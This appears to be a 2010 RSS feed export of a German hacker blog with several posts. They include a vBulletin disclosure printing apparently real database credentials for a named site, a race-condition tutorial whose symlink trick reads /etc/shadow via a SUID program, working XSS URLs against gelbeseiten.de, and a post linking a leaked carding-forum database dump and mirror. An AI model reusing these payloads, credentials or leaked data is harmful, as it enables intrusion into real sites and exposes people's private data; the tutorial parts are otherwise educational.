<blockquote><p>Database Name: pro_astrogaming_com<br />
Database Host: localhost<br />
Database Port: 3306<br />
Database Username: pro_astrogaming<br />
Database Password: gitl0st</p></blockquote>
<p><a href="http://j0hnx3r.org/images/vbvuln.jpg">Screenshot</a></p>
<p>Auf das, was man damit anfangen kann, brauche ich denk ich nicht weiter drauf eingehen.</p>
<p><em>Wie schuetze ich mich davor?</em><br />
Wie oben bereits gepostet durch einen Patch von der offiziellen vBulletin Seite, oder durch ein MySQL Query:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">DELETE FROM `vb_phrase` WHERE `varname`='database_ingo'</pre></div></div>

<p>Soviel dazu erstmal, wuensch euch noch eine schoene Woche <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://j0hnx3r.org/?feed=rss2&amp;p=623</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Tote Links entfernt und bald back :&gt;</title>
		<link>http://j0hnx3r.org/?p=620</link>
		<comments>http://j0hnx3r.org/?p=620#comments</comments>
		<pubDate>Tue, 20 Jul 2010 01:00:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://j0hnx3r.org/?p=620</guid>
		<description><![CDATA[Nabend, ihr glaubt gar nicht wie schnell einige Projekte &#8220;spurlos verschwinden&#8221; oder einfach down sind und bleiben. Hab letztens meine Linkliste links durchforscht und entdeckt das gut jeder 4te Link nicht mehr funktionsfaehig war &#8211; schade eigentlich. Was gibts noch aktuelles zu berichten? Naja, komm grad leider nicht zum Bloggen, daher hat GregorSamsa den letzten [...]]]></description>
			<content:encoded><![CDATA[<p>Nabend,</p>
<p>ihr glaubt gar nicht wie schnell einige Projekte &#8220;spurlos verschwinden&#8221; oder einfach down sind und bleiben. Hab letztens meine Linkliste links durchforscht und entdeckt das gut jeder 4te Link nicht mehr funktionsfaehig war &#8211; schade eigentlich.</p>
<p>Was gibts noch aktuelles zu berichten? Naja, komm grad leider nicht zum Bloggen, daher hat GregorSamsa den letzten fuer mich erstellt (Dankeschoen nochmal <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ) da mein Laptop nun auch seit fast nem Monat einen defekten Bildschirm besitzt.</p>
<p>Ein neuer wird im Laufe der Woche bestellt und dann werd ich dort sicherlich viel Spaß &amp; Zeit zum Bloggen finden und Dinge durchsetzen koennen, welche seit Monaten geplant waren <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Soviel dazu erstmal, ich lebe noch <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://j0hnx3r.org/?feed=rss2&amp;p=620</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Tut] Simple Race Conditions</title>
		<link>http://j0hnx3r.org/?p=613</link>
		<comments>http://j0hnx3r.org/?p=613#comments</comments>
		<pubDate>Tue, 22 Jun 2010 00:53:53 +0000</pubDate>
		<dc:creator>GregorSamsa</dc:creator>
				<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://j0hnx3r.org/?p=613</guid>
		<description><![CDATA[So, auf Wunsch von p0nny hier mal ein Blogeintrag von mir. Ich dachte, ich mache einfach mal ein kleines Paper zu einfachen Race Conditions, vielleicht interessiert es ja jemanden&#8230; /*************************** *                            * *   Simple Race Conditions   * *                            * *   written by GregorSamsa   * * gregor.samsa@jabber.ccc.de * *                            * *****************************/ 0x01 { Ein kleines Vorwort: [...]]]></description>
			<content:encoded><![CDATA[<p>So, auf Wunsch von p0nny hier mal ein Blogeintrag von mir.</p>
<p>Ich dachte, ich mache einfach mal ein kleines Paper zu einfachen Race Conditions,</p>
<p>vielleicht interessiert es ja jemanden&#8230;</p>
<pre>/***************************
*                            *
*   Simple Race Conditions   *
*                            *
*   written by GregorSamsa   *
* gregor.samsa@jabber.ccc.de *
*                            *
*****************************/

0x01 {
 Ein kleines Vorwort:
 Hier mal ein kleines Paper zum Thema Race Conditions.
 Wieder eines der Paper die geschrieben wurden,
 um Anfängern das Leben zu erleichter <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> 

 Naja, nichts besonderes, aber vllt. regt es den ein oder
 anderen zum nachdenken an...
}

0x02 {
 Was sind Race Conditions?
 Race Conditions sind Situationen, in denen es darum geht,
 dass die Programmausführung von einem Programm solange braucht,
 dass der Angreifer oder ein zweites Programm diese Zeit ausnutzen
 kann, um den Ablauf des ersten Programmes zu ändern.

 Ich habe hierfür ein kleines C-Programm geschrieben, dass
 diesen Umstand simuliert.
}

0x03 {
 /** Simple Race Condition - Example **/
 #include &lt;stdio.h&gt;

 int main(int argc, char **argv)
 {
 FILE *f;
 char c;

 if(argc &lt; 2) {
 printf("usage: %s &lt;filename&gt;\n", argv[0]);
 return 1;
 }

 if(strcmp(argv[1], "secretfilename") == 0) {
 printf("filename correct\nreading %s\n", argv[1]);
 }
 else {
 printf("wrong filename\npls w8 4 next try...\n");
 remove(argv[1]);
 sleep(5);
 }

 f = fopen(argv[1], "r");
 if(f == NULL) {
 printf("cannot open file...\nmaybe wrong filename...?\n");
 return 1;
 }

 while(!feof(f)) printf("%c", fgetc(f));

 fclose(f);

 return 0;
 }
}

0x04 {
 Überlegungen:
 Schauen wir uns dieses Programm an:
 Als erstes überprüft es den Dateinamen.
 Wir gehen einfach mal davon aus, dass wir
 "secretfilename" nicht aus dem Speicher lesen
 können. Das könnte ja auch eine sha-1 Prüfsumme
 des Dateinamens sein <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> 

 Wenn der Dateiname nicht richtig ist, wird die Datei
 gelöscht und es werden 5 Sekunden gewartet.

 Später wird versucht die Datei zu öffnen und zu lesen.
 Wenn der falsche Dateiname eingegeben wurde,
 ist die Datei gelöscht und kann nicht gelesen werden...
 Oder doch...?
}

0x05 {
 Angriff:
 Da wir secretfilename nicht wissen, probieren wir
 einfach mal so, das Programm zu starten:

 [samsa@hades ~]$ ./rc
 usage: ./rc &lt;filename&gt;
 [samsa@hades ~]$ ./rc test
 wrong filename
 pls w8 4 next try...
 &lt;5 sek warten&gt;
 cannot open file...
 maybe wrong filename...?

 Die Angriffsmöglichkeit besteht in der Wartezeit
 von 5 Sekunden.
 Die Datei wird erst gelöscht, _danach_ wird gewartet
 und dann versucht die Datei zu öffnen.
 Daher haben wir ganz locker Zeit, in diesen 5 Sekunden
 die Datei neu zu erstellen, damit die Ausgelesen wird:
 (In dem Beispiel gehen wir davon aus, dass wir ein
 SUID root Programm haben und /etc/shadow lesen wollen)

 [samsa@hades ~]$ ./rc test &amp;    # im Hintergrund starten
 [1] 1337
 [samsa@hades ~]$ wrong filename
 pls w8 4 next try

 [samsa@hades ~]$ ln -s /etc/shadow test    # während der 5 Sekunden eine Datei anlegen,
die auf /etc/shadow verweist
 [samsa@hades ~]$ &lt;inhalt von /etc/shadow&gt;
 [1]+ Fertig            ./rc test
 [samsa@hades ~]$

 Ganz einfach, oder? <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />
 Selbst wenn "test" besteht, wird diese Datei gelöscht,
 da der Dateiname falsch ist.
 Allerdings wird erst _danach_ 5 sek. gewartet,
 und wir erstellen in der Zeit eine Verknüpfung zu /etc/shadow,
 die dann von dem Programm ausgelesen wird. Easy, aren't it?
}

0x06 {
 Schlusswort:
 Das war kein Übermäßiges Tut und in ~45 min. geschrieben.
 Aber vllt. hilft es euch, Designfehler bei Programmabläufen
 zu verstehen und auszunutzen.

 Wer noch Fragen hat findet mich da:
 gregor.samsa@jabber.ccc.de
 irc.freenode.net #back2hack  http://back2hack.cc/
 irc.ircdotnet.net #free-hack  http://free-hack.com/
}

0x07 {
 oh shit, da greetz section... but meh like mah
 1337 friendz so meh hav 2 greetz them here!!!111
 J0hn.X3r - 4 u <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />
 BlackBerry - meh like u :-*
 h0yt3r - caaatz meow &lt;3333
 Invisibility, Cheese, 0x30, aKiller - only: &lt;3
 OpCodez - drugs r bad, but u r cool <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />
 ...and kazuya, RedTiger, soulstoned, gesocks and teh
 other user from #back2hack and #free-hack i like u
}

/** n0p **/
</pre>
]]></content:encoded>
			<wfw:commentRss>http://j0hnx3r.org/?feed=rss2&amp;p=613</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Carders.cc owned and exp0sed</title>
		<link>http://j0hnx3r.org/?p=606</link>
		<comments>http://j0hnx3r.org/?p=606#comments</comments>
		<pubDate>Fri, 21 May 2010 15:24:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Szene News]]></category>

		<guid isPermaLink="false">http://j0hnx3r.org/?p=606</guid>
		<description><![CDATA[&#124;\___/&#124; -=[ISSUE - NO 1]=- =) ^Y^ (= -=[OF]=- \ ^ / )=*=( ______________________________ __ ____________ _ / \ &#124;.-----.--.--.--.-----.-----.--&#124; &#124; ___ ___ _&#124; &#124;&#124; &#124; &#124; &#124;&#124; _ &#124; &#124; &#124; &#124; &#124; -__&#124; _ &#124; &#124; . &#124; &#124; . &#124;&#124; /&#124; &#124; &#124; &#124;\ &#124;&#124;_____&#124;________&#124;__&#124;__&#124;_____&#124;_____&#124; &#124;__,&#124;_&#124;_&#124;___&#124;&#124; \&#124; &#124; &#124;_&#124;/\ &#124; &#124; &#124; [...]]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">                                                      |\___/|
              -=[ISSUE - NO 1]=-                     =) ^Y^ (=
                   -=[OF]=-                           \  ^  /
                                                       )=*=(
 ______________________________ __ ____________ _     /     \
|.-----.--.--.--.-----.-----.--|  |   ___ ___ _| ||   |     |
||  _  |  |  |  |     |  -__|  _  |  | . |   | . ||  /| | | |\
||_____|________|__|__|_____|_____|  |__,|_|_|___||  \| | |_|/\
|  | |                                   ______   |__//_// ___/ __ 
|  | |               .-----.--.--.-----.|      |.-----.--\_).--|  ||
|  | |               |  -__|_   _|  _  ||  ||  ||__ --|  -__|  _  ||
|  | |               |_____|__.__|   __||  ||  ||_____|_____|_____||
|_/   \__________________________|__|___|  ||  |___________________|
                                        |______|
         FEATURING             ~~~ |\                  A present
  Germanys next Darkmarket    ~~~ /()/              brought to you                                
         Carders.cc            ~~~`\|            by some happy ninjas</pre></div></div>

<p>Dieser Text war am 19.05.2010 auf verschiedene Foren zu lesen und auch Seiten wie <a href="http://www.heise.de/security/meldung/Hacker-cracken-Carder-Forum-1003437.html">heise.de</a> berichteten drueber.</p>
<p>Wer den vollstaendigen Inhalt sehen mag:</p>
<p><a href="http://j0hnx3r.org/pwned/exp01.txt">*klick*</a></p>
<p>Sieht ganz gut gemacht aus <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Solche Leute verdienen <strong>respekt</strong> und nicht welche, die sich ein iPhone gecardet haben oder CCs verkaufen.</p>
<p>Doch war sowas zu erwarten?</p>
<p>Meiner Meinung nach aufjedenfall ja. Entweder ein Bust oder eben sowas.. Sie bekamen in letzter Zeit sowieso &#8220;zu viel Aufmerksamkeit&#8221; durch die Medien und Co &#8211; ARD und ZDF berichteten teilweise etwas ueber carders.cc und in der &#8220;scene&#8221; ist carders.cc zwar teilweise &#8220;beliebt&#8221;, was dark market angeht, doch von &#8220;richtigen&#8221; Leuten, die ihre Faehigkeiten woanders haben, wurde carders schon immer abgelehnt.</p>
<p>Stimme auch BuntspechT seiner Aussage zu:</p>
<blockquote><p>Nun hoffe ich doch mal auf angemessene rechtliche Konsequenzen für die Betreiber und finanziellen Unterstützer!</p></blockquote>
<p>Aus <a href="http://buntspecht.us/2010/05/19/carders-cc-exposed/">http://buntspecht.us/2010/05/19/carders-cc-exposed/</a></p>
<p>Noch am gleichen Tag veroeffentlichten die Betreiber auf twitter ein kleines Statement dazu:</p>
<p><a href="http://twitter.com/carders_cc/status/14261947002">http://twitter.com/carders_cc/status/14261947002</a></p>
<blockquote><p>Liebe User,<br />
Wie ihr wohl schon alle mitbekommen habt, wurde Carders Opfer einer Hackerattacke. Meiner Meinung nach ein dunkler Tag für die Szene, auch wenn sich jetzt viele schadensfroh im Keller einen ablachen. Leider wissen, oder verstehen diese Menschen nicht was für Konsequenzen so etwas haben kann.<br />
Wie dem Deface-Text bereits zu entnehmen war, wurden einige IPs geloggt, dies jedoch nicht absichtlich sondern durch einen Fehler des (ehemaligen) Techmins Zagerus. An dieser Stelle ein großes Entschuldigung an die User, die vom IP Logging betroffen waren. Dieser Vorfall sollte euch jedoch daran erinnern, dass ihr immer mit einem VPN / Socks5 / VicSocks, wie auch immer, unterwegs sein solltet. Alle User sollten natürlich ihre Passwörter ihrer E-Mails, anderen Accounts, ICQ Nummern etc. ändern! Selbst wenn nun mit der gehackten Datenbank gegen uns ermittelt wird, was nach dem deutschen Gesetz eigentlich verboten sind, (aber die wahren Kriminellen sind ja ohnehin die Behörden) haben die größten Teil der User NICHTS zu befürchten. Von diesen Ermittlungen wird größtenteils das Team betroffen sein.</p>
<p>Nachdem KRON0S und ich uns einige Zeit unterhalten haben, ist uns klar geworden, dass wir uns die Tour von ein paar vorpubertären Hackerkindern die  Stimmung nicht nehmen lassen (Es handlet sich hierbei btw. um die gleichen Hacker wie bei 1337-crew), und dass das nicht das Ende von Carders ist. Nein! Wir werden zurück kommen! Dies wird jedoch einige Tage in Anspruch nehmen, da wir 1. auf Heihachi umziehen 2. nach dem Hack verständlicherweise die Boardsoftware wechseln und 3. um zukünfige Hacks zu vermeiden, sehr viele Sicherheitstests durchführen werden. GGF. wird jedoch der Jabberserver schon früher laufen. Desweiteren wurde Zagerus nach der großen Panne bis auf weiteres suspendiert, und die Technik wurde einem erfahrenereren User übergeben. Wir sehen uns in einigen Tagen wieder!</p>
<p>THANAT0S im Namen der Administration</p></blockquote>
<p>Aus <a href="http://nopaste.info/81779e1129_nl.html">http://nopaste.info/81779e1129_nl.html</a></p>
<p>Und spaeter hab ich einen Screenshot von einer eMail gefunden, welche ich euch nicht vorenthalten mag:</p>
<p><a href="http://www.imagebanana.com/view/kzz2ga5a/288xliv.jpg"><img src="http://www.imagebanana.com/img/kzz2ga5a/thumb/288xliv.jpg" border="0" alt="www.ImageBanana.net - 288xliv.jpg" /></a></p>
<p>Ein Backup der MySQL Datenbank wurde auch veroeffentlicht, welches ihr u.a. <a href="http://j0hnx3r.org/dumps/dump.sql.gz">hier</a> bekommen koennt, da die ganzen filehoster mirrors doch recht fix am deleten sind &#8211; macht aber vllt bei dem ein oder anderen probleme (habs noch nicht versucht).</p>
<p>Wer sich das Backup nicht laden will/kann, sondern einfach so schaun mag, was da lief, dort ist es online und alle internen Sektionen einsehbar:</p>
<p><a href="http://carders.1.vg/index.php">http://carders.1.vg/index.php</a></p>
<p>Aktuell kann man sagen, dass sie mit ihrer &#8220;Rueckkehr&#8221; schon gegen heut Abend oder morgen rechnen&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://j0hnx3r.org/?feed=rss2&amp;p=606</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Back!</title>
		<link>http://j0hnx3r.org/?p=604</link>
		<comments>http://j0hnx3r.org/?p=604#comments</comments>
		<pubDate>Thu, 20 May 2010 22:57:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://j0hnx3r.org/?p=604</guid>
		<description><![CDATA[Lang ists her, da hab ich meinen letzten Blog eintrag gemacht. Hab ne laengere Pause gemacht und mir ist einfach irgendwie so gut wie nix eingefallen, was ich bloggen koennte. Dann war mein Blog nun gut ne Woche down/nicht erreichbar.. die Gruende koennts nochmal hier nachlesen: Was ist vorgefallen? Unser US Datacenter Dateiload/Thomsn LLC hat [...]]]></description>
			<content:encoded><![CDATA[<p>Lang ists her, da hab ich meinen letzten Blog eintrag gemacht.</p>
<p>Hab ne laengere Pause gemacht und mir ist einfach irgendwie so gut wie nix eingefallen, was ich bloggen koennte.</p>
<p>Dann war mein Blog nun gut ne Woche down/nicht erreichbar.. die Gruende koennts nochmal hier nachlesen:</p>
<blockquote><p>Was ist vorgefallen?</p>
<p>Unser US Datacenter Dateiload/Thomsn LLC hat ohne vorankündigung den Betrieb eingestellt und somit waren alle US Server am Frietag den 14.5 offline.</p>
<p>Wir haben umgehend unseren Support Manager kontaktiert, dieser versicherte usn dass es sich um einen Hardwareschaden handelt der &#8220;in Kürze&#8221; behoben sein würde. </p>
<p>Der Vorgang zog sich in die Länge, man versicherte uns aber das Problem beheben zu können.</p>
<p>48 Stunden später haben wir keine Antwort mehr auf Anfragen bekommen.</p>
<p>Wir haben 24 Stunden gewartet (bis Montag) und dann angefangen Backupserver einzurichten.</p>
<p>Das Problem dabei ist das die &#8220;Hauptlast&#8221; der Kunden auf US Servern liegt und somit mehr als die Hälfte aller shared Webspace Kunden betroffen ist.</p></blockquote>
<p>Im Moment scheint jedoch eigentlich alles wieder zu funktionieren.</p>
<p>Heute hab ich den letzten Schultag vor den Ferien und werde dann denk ich, mir Zeit finden die Sachen hier zu bloggen, welche ich mir vorgenommen habe.</p>
<p>Jetzt gleich kommt nochn kleiner extra Artikel ueber carders.cc, da die meisten denk ich wissen, was passiert ist und spaeter oder am Samstag kommt dann erstmal ne kleine Monatsuebersicht, was grob vorgefallen ist <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Zum Schluss zeig ich euch noch meinen Gewinn, welchen ich per eMail erhalten habe:</p>
<blockquote><p>von	Captain Maxwell J. Daniels &lt;max.daniel05@gmail.com&gt; <w.vason@sbcglobal.net><br />
an	kezzy_chuks@yahoo.com<br />
Datum	7. Mai 2010 07:08<br />
Betreff	HALLO FREUND<br />
Unterzeichnet von	sbcglobal.net</p>
<p>Hallo mein Freund,<br />
Ich hoffe, dass diese E-Mail genügt Ihnen gut, weil ich ein ehrlicher Geschäftsmann Vorschlag für Sie haben.<br />
Ich bin Captain Maxwell J. Daniels Servieren mit USA Military Provincial Reconstruction Team in Camp Anaconda Balad und ich mit Ihnen Kontakt aufnehmen, um mich in eine sichere Aufbewahrung des Geldes Mission entdeckte ich in dem Haus eines verstorbenen Präsidenten Saddam Hussein Loyalisten während unserer letzten House zu unterstützen Haus vor einigen Tagen raid. Ich weiß wirklich nicht, wie viel in die Tasche enthalten, aber aus meiner eigenen Einschätzung ihrer über US $ 20.000.000,00 Dollar in bar (Real grünen Dollarscheine).<br />
Wenn Sie interessiert sind, antworten Sie mir sofort, damit wir den Transfer Verfahren erörtern können.<br />
max.daniel05@gmail.com<br />
Captain Maxwell J. Daniels</p></blockquote>
<p>Dieses &#8220;Deutsch&#8221; gefaellt mir &#8211; mag jemand einen Anteil vom Geld? löl&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://j0hnx3r.org/?feed=rss2&amp;p=604</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>[XSS] www.gelbeseiten.de</title>
		<link>http://j0hnx3r.org/?p=590</link>
		<comments>http://j0hnx3r.org/?p=590#comments</comments>
		<pubDate>Sat, 10 Apr 2010 00:41:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Vulnerable Sites]]></category>

		<guid isPermaLink="false">http://j0hnx3r.org/?p=590</guid>
		<description><![CDATA[Dachte mir nach 2 Jahren, schau ich mal wieder auf www.gelbeseiten.de vorbei, ob sie meine damals gefundene XSS Luecke (http://www.xssed.com/mirror/53711/) gefixxt haben. Und in der Tat, es hat sich was getan.. damals noch: http://www.gelbeseiten.de/yp/search.yp?distance=0&#38;subject=&#60;script&#62;alert(1337)&#60;/script&#62; klappt nicht mehr.. dafuer heute: http://www.gelbeseiten.de/yp/search.yp?distance=0&#38;subject=&#34;&#62;&#60;/script&#62;&#60;script&#62;alert(1337)&#60;/script&#62; Da bursali auch immer Screenshots als Beleg dazu postet, mach ichs diesmal auch.. Screenshot stammt [...]]]></description>
			<content:encoded><![CDATA[<p>Dachte mir nach 2 Jahren, schau ich mal wieder auf www.gelbeseiten.de vorbei, ob sie meine damals gefundene XSS Luecke (<a href="http://www.xssed.com/mirror/53711/">http://www.xssed.com/mirror/53711/</a>) gefixxt haben. Und in der Tat, es hat sich was getan.. damals noch:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://www.gelbeseiten.de/yp/search.yp?distance=0&amp;subject=&lt;script&gt;alert(1337)&lt;/script&gt;</pre></div></div>

<p>klappt nicht mehr.. dafuer heute:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://www.gelbeseiten.de/yp/search.yp?distance=0&amp;subject=&quot;&gt;&lt;/script&gt;&lt;script&gt;alert(1337)&lt;/script&gt;</pre></div></div>

<p>Da <a href="http://blog.bursali.eu/">bursali</a> auch immer Screenshots als Beleg dazu postet, mach ichs diesmal auch.. Screenshot stammt von &#8220;<a href="http://southhosting.6x.to/">Southpark</a>&#8220;:</p>
<p><a target='_blank' href='http://img32.imageshack.us/i/j0hnx3r.jpg/'><img src='http://img32.imageshack.us/img32/2203/j0hnx3r.th.jpg' border='0'/></a></p>
]]></content:encoded>
			<wfw:commentRss>http://j0hnx3r.org/?feed=rss2&amp;p=590</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Frohe Ostern!</title>
		<link>http://j0hnx3r.org/?p=588</link>
		<comments>http://j0hnx3r.org/?p=588#comments</comments>
		<pubDate>Mon, 05 Apr 2010 01:35:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://j0hnx3r.org/?p=588</guid>
		<description><![CDATA[Wuensch euch allen Frohe Ostern! Viel Spaß bei der Eiersuche und meine zwei hab ich schon gefunden Das der Eintrag nich aus 2 Saetzen besteht, moecht ich euch heute noch kurz Core.am vorstellen: Core.am ist ein Board für Computersicherheit-, Programmierung- und allgemeinen Themen. Kleiner Infotext: Core.am ist ein Security und Coding Board dass 2009 gegründet [...]]]></description>
			<content:encoded><![CDATA[<p>Wuensch euch allen Frohe Ostern! Viel Spaß bei der Eiersuche und meine zwei hab ich schon gefunden <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Das der Eintrag nich aus 2 Saetzen besteht, moecht ich euch heute noch kurz <a href="http://core.am/">Core.am</a> vorstellen:</p>
<p><a href="https://board.core.am/">Core.am</a> ist ein Board für Computersicherheit-, Programmierung- und allgemeinen Themen.</p>
<p><img src="http://core.am/core_banner468x60_v3.jpg" alt="http://core.am/core_banner468x60_v3.jpg" /></p>
<p>Kleiner Infotext:</p>
<blockquote><p>Core.am ist ein Security und Coding Board dass 2009 gegründet wurde.<br />
Im Gegensatz zu anderen Boards dieser Art, konzentrieren wir uns wirklich auf diese Bereiche.<br />
Wir haben es uns als Ziel gesetzt anders zu sein als die Anderen, und unseren neuen Usern soviel wie möglich an Wissen mitzuteilen. Unter Wissen verstehen wir nicht eine Vielzahl an Schadprogrammen zu verteilen, sondern vielmehr den Aufbau und die Technik dahinter zu verstehen.</p>
<p>Zu unserer Zeilgruppe gehören Anfänger aber auch Fortgeschrittene, die sich mit dem Thema Computersicherheit ausseinander setzen möchten.</p>
<p>Unser eingespieltes Team besteht aus einem Server-Administrator, einem Designer, ein paar Codern und nicht zu vergessen aus unseren Moderatoren.</p></blockquote>
<p>Und joa, was soll man noch großartig sagen, vorbeischaun lohnt sich <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Wollt glaub nochn zweites Projekt vorstellen, weiß aber nicht mehr welches. Wuensch euch noch nen schoenen Ostermontag.</p>
]]></content:encoded>
			<wfw:commentRss>http://j0hnx3r.org/?feed=rss2&amp;p=588</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Kostenloser vServer und mehr</title>
		<link>http://j0hnx3r.org/?p=583</link>
		<comments>http://j0hnx3r.org/?p=583#comments</comments>
		<pubDate>Tue, 30 Mar 2010 22:13:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://j0hnx3r.org/?p=583</guid>
		<description><![CDATA[Heute kommt mal wieder etwas kuerzeres, ich werd euch ein Video vorstellen, wie ihr von Pipni.cz einen kostenlosen vServer ergattern koennt und joa.. nen kleinen Hinweis geben. Nun zum ersten Punkt, dass Paper von novaca!ne und mir wurde nun auf Offensive Security veroeffentlicht, sein Auth Bypass Paper ist quasi mehr oder weniger eine englische Zusammenfassung [...]]]></description>
			<content:encoded><![CDATA[<p>Heute kommt mal wieder etwas kuerzeres, ich werd euch ein Video vorstellen, wie ihr von <a href="http://new.pipni.cz/">Pipni.cz</a> einen kostenlosen vServer ergattern koennt und joa.. nen kleinen Hinweis geben.</p>
<p>Nun zum ersten Punkt, dass Paper von novaca!ne und mir wurde nun auf Offensive Security veroeffentlicht, sein Auth Bypass Paper ist quasi mehr oder weniger eine englische Zusammenfassung von meinem <a href="http://j0hnx3r.org/?p=55">Auth Bypass </a>Tutorial.. ganz nett gestaltet in einer .pdf Datei. Finden koennt ihr es hier:</p>
<p><a href="http://www.exploit-db.com/">http://www.exploit-db.com/</a> bzw. direkt hier: <a href="http://www.exploit-db.com/download_pdf/11956">http://www.exploit-db.com/download_pdf/11956</a></p>
<p>Der naechste Punkt ist quasi ne Art Video Tutorial.. von KellerElite.. ihr koennt euch dort nen kostenlosen vServer holen, mit 5GB Space und 100GB Traffic. Anschaun koennts das hier:</p>
<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/EMJ62ui27aY&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/EMJ62ui27aY&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object></p>
<p>Das wars auch schon.. kurz und schmerzlos <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Btw. hab heute uebrigens saemtliche Googleads entfernt.. wusste nicht mal das hier welche waren bis gestern. Dreist sowas, installiert man nen WordPress Theme und das ist voller Google Ads.. sowohl im header als auch im Footer.. und ich hab nicht mal einen cent erhalten, sondern der Coder vom Theme.. dreist <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  Habs jedoch nun entfernt, damit mein Blog weiterhin googleads frei bleibt.</p>
]]></content:encoded>
			<wfw:commentRss>http://j0hnx3r.org/?feed=rss2&amp;p=583</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Ebfe&#8217;s Anti-B00TKIT Projekt</title>
		<link>http://j0hnx3r.org/?p=574</link>
		<comments>http://j0hnx3r.org/?p=574#comments</comments>
		<pubDate>Sun, 28 Mar 2010 23:35:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://j0hnx3r.org/?p=574</guid>
		<description><![CDATA[Moechte euch heute ein (meiner Meinung nach) sehr interessantes Projekt vorstellen, naemlich das &#8220;Anti-B00TKIT&#8221; Projekt von EBFE. Da ein (inzwischen) sehr bekannter Typ (Peter Kleissner) mit seinem &#8220;Stoned Bootkit&#8221; bekannt geworden ist und nun die meisten &#8220;Ahnungslosen&#8221; meinen &#8220;verdammt, TrueCrypt ist doch unsicher!! Lasst den mist und steigt auf xyz um!&#8221; █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ █ ▄███████▄ ▄████████▄ [...]]]></description>
			<content:encoded><![CDATA[<p>Moechte euch heute ein (meiner Meinung nach) sehr interessantes Projekt vorstellen, naemlich das &#8220;Anti-B00TKIT&#8221; Projekt von EBFE. Da ein (inzwischen) sehr bekannter Typ (Peter Kleissner) mit seinem &#8220;<a href="http://www.stoned-vienna.com/">Stoned Bootkit</a>&#8221; bekannt geworden ist und nun die meisten &#8220;Ahnungslosen&#8221; meinen &#8220;verdammt, TrueCrypt ist doch unsicher!! Lasst den mist und steigt auf xyz um!&#8221;</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">                █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
                █  ▄███████▄ ▄████████▄  ▄███████▄  ▄███████▄ █
                █ █▓▓▓▓▓▓▓▒█ █▓▓▓▓▓▓▓▓█ █▓▓▓▓▓▓▓▒█ █▓▓▓▓▓▓▓▒█ █
                █ █▓▓▓▓▓▓▒▒█ █▓▓▓  ▓▓▓█ █▓▓▓▓▓▓▒▒█ █▓▓▓▓▓▓▒▒█ █
